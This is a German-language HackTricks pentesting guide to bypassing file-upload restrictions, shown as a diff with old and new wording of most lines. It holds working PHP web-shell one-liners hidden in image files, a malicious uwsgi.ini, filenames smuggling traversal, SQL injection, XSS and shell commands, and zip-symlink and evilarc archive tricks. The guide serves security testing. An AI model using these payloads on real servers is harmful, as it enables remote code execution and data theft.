# Datei-Upload
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -36,11 +36,11 @@ Andere nützliche Erweiterungen:
|
|||
|
||||
### Umgehung von Überprüfungen der Dateierweiterungen
|
||||
|
||||
1. Wenn sie zutreffen, **überprüfen** Sie die **vorherigen Erweiterungen.** Testen Sie sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Überprüfen Sie **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungs-Erweiterung (verwenden Sie auch vorherige Erweiterungen):_
|
||||
1. Wenn sie zutreffen, **überprüfe** die **vorherigen Erweiterungen.** Teste sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Überprüfe **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungs-Erweiterung (verwende auch vorherige Erweiterungen):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Versuchen Sie, **Sonderzeichen am Ende hinzuzufügen.** Sie könnten Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen zu **bruteforcen**. (_Beachten Sie, dass Sie auch die **vorher** genannten **Erweiterungen** verwenden können_)
|
||||
3. Versuche, **Sonderzeichen am Ende hinzuzufügen.** Du könntest Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen zu **bruteforcen**. (_Beachte, dass du auch die **vorher** genannten **Erweiterungen** verwenden kannst_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
|
@ -50,7 +50,7 @@ Andere nützliche Erweiterungen:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**Null**-Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
|
||||
4. Versuche, die Schutzmaßnahmen zu umgehen, indem du den **Erweiterungsparser** auf der Serverseite mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**Null**-Bytes) zwischen den Erweiterungen täuschst. _Du kannst auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
|
@ -59,57 +59,57 @@ Andere nützliche Erweiterungen:
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. Fügen Sie **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
|
||||
5. Füge **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misconfigurationen auszunutzen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss):
|
||||
6. Versuche, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und bete, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misconfigurationen auszunutzen, bei denen alles mit der Erweiterung **.php**, aber nicht unbedingt endend in .php, Code ausführt):
|
||||
* _z.B.: file.php.png_
|
||||
7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
|
||||
8. Versuchen Sie, die Dateinamensgrenzen zu überschreiten. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||||
7. Verwende **NTFS Alternate Data Stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher könnte das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
|
||||
8. Versuche, die Dateinamensgrenzen zu brechen. Die gültige Erweiterung wird abgeschnitten. Und die bösartige PHP bleibt. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximal 255 Bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
|
||||
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
|
||||
# Lade die Datei hoch und überprüfe die Antwort, wie viele Zeichen sie zulässt. Sagen wir 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Erstellen Sie die Payload
|
||||
# Erstelle die Payload
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung
|
||||
|
||||
* Umgehen Sie **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream_ setzen.
|
||||
* Umgehung der **Content-Type**-Überprüfungen, indem der **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream_ gesetzt wird.
|
||||
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Umgehen Sie die **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
|
||||
* Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirre den _file_-Befehl). Oder führe die Shell in die **Metadaten** ein:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oder Sie könnten auch **die Payload direkt** in ein Bild einfügen:\
|
||||
`\` oder du könntest auch **die Payload direkt** in ein Bild einfügen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
* Wenn **Kompression** zu deinem Bild hinzugefügt wird, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), werden die vorherigen Techniken nicht nützlich sein. Du könntest jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
* Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
* Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, verwendet die PHP-GD-Funktion `thumbnailImage`. Du könntest jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Weitere Tricks zur Überprüfung
|
||||
|
||||
* Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei **umzubenennen** (um die Erweiterung zu ändern).
|
||||
* Finden Sie eine **Local File Inclusion**-Schwachstelle, um das Backdoor auszuführen.
|
||||
* Finde eine Schwachstelle, um die Datei, die bereits hochgeladen wurde, **umzubenennen** (um die Erweiterung zu ändern).
|
||||
* Finde eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen.
|
||||
* **Mögliche Informationsoffenlegung**:
|
||||
1. Laden Sie die **gleiche Datei** **mehrmals** (und zur **gleichen Zeit**) mit dem **gleichen Namen** hoch.
|
||||
2. Laden Sie eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**.
|
||||
3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
|
||||
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows)
|
||||
6. Laden Sie eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
|
||||
* Versuchen Sie auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
1. Lade die **gleiche Datei** **mehrmals** (und zur **gleichen Zeit**) mit dem **gleichen Namen** hoch.
|
||||
2. Lade eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**.
|
||||
3. Lade eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
|
||||
4. Lade eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Lade eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows)
|
||||
6. Lade eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
|
||||
* Versuche auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
|
||||
### Besondere Erweiterungstricks
|
||||
|
||||
Wenn Sie versuchen, Dateien auf einen **PHP-Server** hochzuladen, [sehen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Wenn Sie versuchen, Dateien auf einen **ASP-Server** hochzuladen, [sehen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Wenn du versuchst, Dateien auf einen **PHP-Server** hochzuladen, [schau dir den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Wenn du versuchst, Dateien auf einen **ASP-Server** hochzuladen, [schau dir den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...)
|
||||
|
||||
|
|
@ -117,17 +117,17 @@ Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **I
|
|||
|
||||
## **Jetty RCE**
|
||||
|
||||
Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, laden Sie die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell!
|
||||
Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarte die Shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Für eine detaillierte Untersuchung dieser Schwachstelle siehe die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(dateiname)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
|
||||
Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(dateiname)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
|
||||
|
||||
Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt:
|
||||
Betrachte das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
|
|
@ -147,7 +147,7 @@ characters = @(call://uwsgi_func)
|
|||
```
|
||||
Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
|
||||
|
||||
Es ist entscheidend, die nachlässige Natur des Parsens der Konfigurationsdatei von uWSGI zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
|
||||
Es ist entscheidend, die nachlässige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
|
|
@ -175,19 +175,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht** **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, die in der ursprünglichen URL angegeben ist**.
|
||||
Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht** **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, der in der ursprünglichen URL angegeben ist**.
|
||||
|
||||
## Tools
|
||||
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug-Huntern hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und gründliche Bewertungen von Webanwendungen sicherzustellen.
|
||||
|
||||
## Von Datei-Uploads zu anderen Schwachstellen
|
||||
## Vom Datei-Upload zu anderen Schwachstellen
|
||||
|
||||
* Setzen Sie **filename** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfad Traversierung** zu erreichen.
|
||||
* Setzen Sie **filename** auf `sleep(10)-- -.jpg` und Sie könnten in der Lage sein, eine **SQL-Injection** zu erreichen.
|
||||
* Setzen Sie **filename** auf `<svg onload=alert(document.domain)>`, um eine XSS zu erreichen.
|
||||
* Setzen Sie **filename** auf `; sleep 10;`, um einige Befehlsinjektionen zu testen (mehr [Befehlsinjektions-Tricks hier](../command-injection.md)).
|
||||
* [**XSS** beim Hochladen von Bild (svg) Dateien](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* [**XSS** im Bild (svg) Datei-Upload](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
|
|
@ -235,11 +235,11 @@ ln -s ../../../index.php symindex.txt
|
|||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
### Dekomprimieren in verschiedenen Ordnern
|
||||
|
||||
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup möglicherweise gegen die Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützen könnte, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren.
|
||||
|
||||
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden:
|
||||
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc auf GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
|
|
@ -314,9 +314,9 @@ Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-we
|
|||
|
||||
Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
|
||||
Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.
|
||||
